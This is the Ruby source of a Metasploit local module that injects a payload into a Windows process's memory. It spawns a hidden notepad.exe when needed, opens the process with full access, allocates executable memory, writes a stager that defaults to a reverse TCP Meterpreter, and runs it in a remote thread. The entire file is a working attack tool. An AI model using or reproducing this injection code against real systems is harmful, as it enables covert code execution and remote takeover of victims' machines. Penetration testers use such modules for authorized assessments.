Windows Manage Memory Payload Injection

`##  
# ## This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/exploit/exe'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'Windows Manage Memory Payload Injection',  
'Description' => %q{  
This module will inject a payload into memory of a process. If a payload  
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID  
datastore option isn't specified, then it'll inject into notepad.exe instead.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Carlos Perez <carlos_perez[at]darkoperator.com>',  
'sinn3r'  
],  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [ [ 'Windows', {} ] ],  
'DefaultTarget' => 0,  
'DisclosureDate'=> "Oct 12 2011"  
))  
  
register_options(  
[  
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),  
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])  
], self.class)  
end  
  
# Run Method for when run command is issued  
def exploit  
@payload_name = datastore['PAYLOAD']  
@payload_arch = framework.payloads.create(@payload_name).arch  
  
# syinfo is only on meterpreter sessions  
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?  
  
pid = get_pid  
if not pid  
print_error("Unable to get a proper PID")  
return  
end  
  
if @payload_arch.first =~ /64/ and client.platform =~ /x86/  
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")  
print_error("Migrate to an x64 process and try again.")  
return false  
else  
inject_into_pid(pid)  
end  
end  
  
# Figures out which PID to inject to  
def get_pid  
pid = datastore['PID']  
if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)  
print_status("Launching notepad.exe...")  
pid = create_temp_proc  
end  
  
return pid  
end  
  
  
# Determines if a PID actually exists  
def has_pid?(pid)  
procs = []  
begin  
procs = client.sys.process.processes  
rescue Rex::Post::Meterpreter::RequestError  
print_error("Unable to enumerate processes")  
return false  
end  
  
pids = []  
  
procs.each do |p|  
found_pid = p['pid']   
return true if found_pid == pid  
end  
  
print_error("PID #{pid.to_s} does not actually exist.")  
  
return false  
end  
  
# Checks the Architeture of a Payload and PID are compatible  
# Returns true if they are false if they are not  
def arch_check(pid)  
# get the pid arch  
client.sys.process.processes.each do |p|  
# Check Payload Arch  
if pid == p["pid"]  
vprint_status("Process found checking Architecture")  
if @payload_arch.first == p['arch']  
vprint_good("Process is the same architecture as the payload")  
return true  
else  
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")  
return false  
end  
end  
end  
end  
  
# Creates a temp notepad.exe to inject payload in to given the payload  
# Returns process PID  
def create_temp_proc()  
windir = client.fs.file.expand_path("%windir%")  
# Select path of executable to run depending the architecture  
if @payload_arch.first== "x86" and client.platform =~ /x86/  
cmd = "#{windir}\\System32\\notepad.exe"  
elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/  
cmd = "#{windir}\\System32\\notepad.exe"  
elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/  
cmd = "#{windir}\\Sysnative\\notepad.exe"  
elsif @payload_arch.first == "x86" and client.platform =~ /x64/  
cmd = "#{windir}\\SysWOW64\\notepad.exe"  
end  
  
begin  
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })  
rescue Rex::Post::Meterpreter::RequestError  
return nil  
end  
  
return proc.pid  
end  
  
def inject_into_pid(pid)  
vprint_status("Performing Architecture Check")  
return if not arch_check(pid)  
  
begin  
print_status("Preparing '#{@payload_name}' for PID #{pid}")  
raw = payload.generate  
  
print_status("Opening process #{pid.to_s}")  
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)  
if not host_process  
print_error("Unable to open #{pid.to_s}")  
return  
end  
  
print_status("Allocating memory in procees #{pid}")  
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))  
  
# Ensure memory is set for execution  
host_process.memory.protect(mem)  
  
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")  
print_status("Writing the stager into memory...")  
host_process.memory.write(mem, raw)  
host_process.thread.create(mem, 0)  
print_good("Successfully injected payload in to process: #{pid}")  
  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error("Unable to inject payload:")  
print_line(e.to_s)  
end  
end  
  
end`